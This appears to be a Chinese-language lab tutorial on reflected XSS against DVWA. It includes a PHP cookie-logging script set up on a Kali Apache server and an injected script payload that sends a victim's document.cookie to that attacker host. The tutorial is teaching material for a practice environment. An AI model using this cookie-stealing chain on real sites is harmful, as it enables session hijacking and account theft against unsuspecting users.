反射型xss攻击,交互的数据一般不会被存储在数据库中,恶意脚本在请求中传入,服务器响应中返回,是一次性的

反射型XSS攻击

1.检查是否存在漏洞
打开owasp虚拟机,访问其主网址,点开糟糕的web应用程序

1
2
3
4
5
// 弹出提示框
alert("Hello World!") // 在f12的console栏目中直接调用方法即可

//嵌入到html中时,如进行xss攻击时,需要加入script标签,将代码包裹起来
<script>alert("hello world!")</script>

2.使用简单的脚本取走cookie值测试

1
systemctl status apache2  # 查看apache服务状态

确认cookie读写的文件夹权限
需要保证cookie.txt文件所属文件夹的所有者和组是www-data,否则无法正常读写文件
apache的默认网站路径是/var/www/html,我们在这个目录下新建一个自己的目录
首先需要在root的权限进行操作

1
2
3
4
5
sudo passwd root
[sudo] kali 的密码:
新的密码:
重新输入新的密码:
passwd:已成功更新密码

然后:

1
2
3
4
5
mkdir /var/www/html/demo
cd /var/www/html/demo
mkdir xss
sudo chown -R www-data:www-data xss
vim cookie.php #在xss中创建

在cookie.php写入脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 从请求里面拿到cookie的值,并将值赋值给变量$cookie
$cookie = $_GET['cookie'];
// 打开一个文件指针这个指针的含义是:
// 在当前php文件的同目录下打开一个名叫cookie.txt的文本文件,打开方式为附加
// (每次打开都在文件末尾写入新内容,而不是覆盖整个文件)
$log = fopen("cookie.txt" , 'a');
// 将变量$cookie写入cookie.txt文件,并回车
fwrite($log, $cookie . "\n");
// 关闭文件指针,即关闭文件
fclose($log);
?>

编写恶意代码跳转链接

1
2
http://你的kali主机ip地址/demo/xss/cookie.php?cookie=a-cookie
# 可以在kali机器上测试一下,看看在/var/www/html/demo/xss/下是否生成了cookie.txt文件,并写入了a-cookie,这个a-cookie在攻击时应当是肉鸡的cookie

在dvwa(存在漏洞的网站)中嵌入代码

1
<script>window.open('http://IP/demo/xss/cookie.php?cookie='+document.cookie)</script>